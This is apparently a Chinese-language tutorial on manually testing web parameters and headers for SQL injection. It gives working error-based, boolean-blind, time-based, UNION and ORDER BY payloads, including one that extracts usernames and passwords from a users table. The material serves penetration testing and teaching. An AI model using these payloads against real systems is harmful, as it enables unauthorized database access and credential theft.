WEB渗透测试流程中,初期工作是进行信息收集,完成信息收集之后,就会进行漏洞测试、确认,WEB接口里存在SQL注入的参数一般在下面三大类里:
- Get参数
- POST参数
- Request Headers(比如Cookie参数)
- User-Agent
- Cookie
- X-Forwarded-For
Rerferer
寻找SQL注入有采用自动化工具和手工测试两个方法,下面介绍使用手工的方法,来确认一个参数是否存在SQL注入。
一般以一个id类参数进行确认:
报错注入 id=1' AND updatexml(1, concat(0x7e, version()), 1) --
布尔盲注
真条件:id=1' AND 1=1 --
假条件:id=1' AND 1=2 --
联合查询注入
先猜列数:id=1' ORDER BY 5 --
再构造联合:id=-1' UNION SELECT 1,2,3 --
1. ORDER BY N递增测试,直到页面出错,确定列数。
2. 看联合查询后,页面中是否“浮现”出我们SELECT的数字(如2出现在网页某个位置)。如果出现,则确认漏洞且可直接回显数据。
时间盲注 id=1' AND SLEEP(5) --
下面是猜测注入的SQL点位置,在根据不同的位置,进行SQL注入语句构造:
WHERE子句后面的注入点
随便写参数id = xx,套用上面的标准流程就行。
order by
测试方法:
数字试探法:尝试 ?sort=1,然后 ?sort=2。观察页面顺序是否改变。这是最基础的识别。
布尔盲注:这是最主要的技术,因为 ORDER BY 后的子句通常不能直接联合查询。利用条件语句判断:
?sort=(CASE WHEN (1=1) THEN price ELSE date END) —— 页面按 price 正常排序。
?sort=(CASE WHEN (1=2) THEN price ELSE date END) —— 页面按 date 排序。若两者排序结果不同,则证实存在注入并可进行盲注。
报错注入:尝试触发数据库错误:
?sort=updatexml(1, concat(0x7e, version()), 1) (适用于MySQL)
若页面返回数据库错误信息,则证实存在注入并可利用报错快速获取数据。
union
测试方法(标准化流程):
判断列数(前置步骤):
使用 ORDER BY 猜解:?id=1 ORDER BY 1--,递增数字直到页面出错。
使用 UNION SELECT NULL:?id=-1 UNION SELECT NULL, NULL, NULL--,增减 NULL 数量直到页面正常。
探测回显点:确定列数后(例如3列),用有效数据替换 NULL 找出显示位:?id=-1 UNION SELECT 'test1', 'test2', 'test3'--,观察页面何处出现 test1 等字符串。
利用回显点查询数据:将显示位替换为目标查询:?id=-1 UNION SELECT username, password, NULL FROM users--
盲注备用:若 UNION 无回显,则需转为布尔盲注或时间盲注。
浙公网安备 33010602011771号